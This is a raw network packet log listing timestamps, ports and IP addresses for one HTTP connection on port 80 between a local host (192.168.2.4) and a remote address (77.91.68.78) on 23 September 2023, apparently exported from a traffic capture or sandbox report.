Sep 23, 2023 17:53:33.581839085 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:33.581873894 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:33.581877947 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:33.581912041 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:33.581938982 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:33.581974030 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:33.581979036 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:33.582012892 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:33.582037926 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:33.582073927 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:33.582078934 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:33.582108021 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:33.582119942 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:33.582146883 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:33.582206964 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:33.582242012 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:33.582247019 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:33.582278967 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:33.582281113 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:33.582314968 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:33.582319021 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:33.582350016 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:33.582355022 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:33.582389116 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:33.582416058 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:33.582457066 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:33.582483053 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:33.582516909 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:33.582520008 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:33.582551956 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:33.582556963 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:33.582591057 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:33.582618952 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:33.582653999 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:33.582659960 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:33.582691908 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:33.582720041 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:33.582755089 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:33.582760096 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:33.582796097 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:33.582819939 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:33.582854033 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:33.582859993 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:33.582890034 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:33.582892895 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:33.582956076 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:33.582990885 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:33.582995892 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:33.583026886 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:33.583031893 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:33.583066940 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:33.583092928 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:33.583132029 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:33.910738945 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:33.910770893 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:33.910792112 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:33.910800934 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:33.910811901 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:33.910820961 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:33.910837889 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:33.910862923 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:33.910868883 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:33.910906076 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:33.910907030 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:33.910942078 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:33.911084890 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:33.911120892 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:33.911147118 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:33.911183119 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:33.911369085 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:33.911405087 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:33.911427975 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:33.911467075 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:33.911468983 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:33.911505938 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:33.911520004 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:33.911556005 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:33.911771059 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:33.911788940 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:33.911806107 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:33.911870956 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:33.911904097 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:33.911904097 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:33.912039995 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:33.912084103 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:33.912084103 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:33.912118912 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:33.912144899 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:33.912179947 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:33.912224054 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:33.912329912 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:33.912364960 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:33.912369013 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:33.912388086 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:33.912401915 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:33.912416935 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:33.912597895 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:33.912633896 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:33.912697077 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:33.912730932 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:33.912834883 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:33.912870884 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:33.912894011 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:33.912929058 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:33.912950993 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:33.912986040 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:33.913009882 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:33.913045883 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:33.913091898 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:33.913125992 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:33.913134098 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:33.913178921 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:33.913248062 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:33.913265944 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:33.913279057 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:33.913296938 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:33.913337946 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:33.913372993 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:33.913505077 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:33.913541079 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:33.913589001 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:33.913625002 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:33.913639069 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:33.913676023 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:33.913701057 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:33.913736105 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:33.913762093 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:33.913795948 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:33.913801908 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:33.913830042 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:33.913853884 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:33.913889885 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:33.913889885 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:33.914045095 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:33.914077997 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:33.914138079 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:33.914156914 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:33.914174080 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:33.914186954 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:33.914206028 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:33.914239883 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:33.914274931 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:33.914309978 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:33.914334059 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:33.914366961 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:33.914485931 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:33.914521933 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:33.914547920 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:33.914582014 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:33.914583921 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:33.914617062 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:33.914619923 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:33.914654016 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.239836931 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.239859104 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.239913940 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.239944935 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.239953041 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.239975929 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.239975929 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.239991903 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.239991903 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.240036964 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.240065098 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.240108967 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.240118980 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.240164042 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.240174055 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.240217924 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.240879059 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.240897894 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.240919113 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.240932941 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.240964890 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.240999937 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.241045952 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.241081953 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.241090059 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.241123915 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.241125107 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.241161108 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.241161108 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.241194963 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.241220951 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.241254091 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.241333961 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.241368055 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.241441965 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.241475105 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.241493940 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.241513014 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.241530895 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.241549015 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.241549015 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.241584063 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.241616011 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.241650105 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.241652966 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.241687059 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.241687059 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.241719007 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.241745949 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.241780996 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.241807938 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.241843939 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.241846085 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.241882086 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.242465019 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.242499113 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.242536068 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.242552042 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.242571115 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.242583036 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.242621899 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.242638111 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.242655993 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.242664099 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.242691040 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.242726088 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.242762089 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.242794991 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.242809057 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.242840052 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.242844105 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.242872000 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.242908955 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.242934942 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.242942095 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.242966890 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.242990971 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.243025064 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.243040085 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.243072033 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.243094921 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.243127108 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.243163109 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.243180037 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.243196011 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.243206024 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.243218899 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.243252039 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.243285894 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.243319035 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.243330956 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.243365049 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.243506908 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.243541002 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.243555069 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.243586063 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.243622065 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.243654966 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.243668079 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.243700981 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.307722092 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.571016073 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.571048975 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.571093082 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.571095943 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.571113110 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.571135044 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.571167946 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.571208000 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.571271896 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.571310997 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.571322918 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.571362972 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.571405888 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.571444988 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.571521997 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.571561098 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.571585894 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.571624041 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.571649075 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.571697950 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.571741104 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.571777105 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.571820021 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.571871042 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.571896076 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.571938992 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.572014093 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.572053909 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.572115898 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.572153091 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.572177887 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.572215080 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.572273970 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.572310925 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.572352886 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.572395086 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.572418928 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.572462082 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.572537899 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.572580099 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.572604895 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.572638035 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.572724104 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.572763920 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.572804928 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.572848082 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.572889090 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.572931051 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.572973013 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.573013067 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.573081970 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.573121071 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.573146105 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.573183060 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.573251009 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.573290110 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.573651075 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.573689938 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.573709011 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.573745966 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.573772907 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.573815107 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.573857069 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.573893070 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.573961020 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.574002981 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.574044943 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.574090958 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.574116945 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.574152946 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.574177027 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.574213028 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.574296951 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.574335098 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.574361086 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.574397087 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.574423075 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:34.574459076 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:34.574533939 CEST	80	49827	77.91.68.78	192.168.2.4
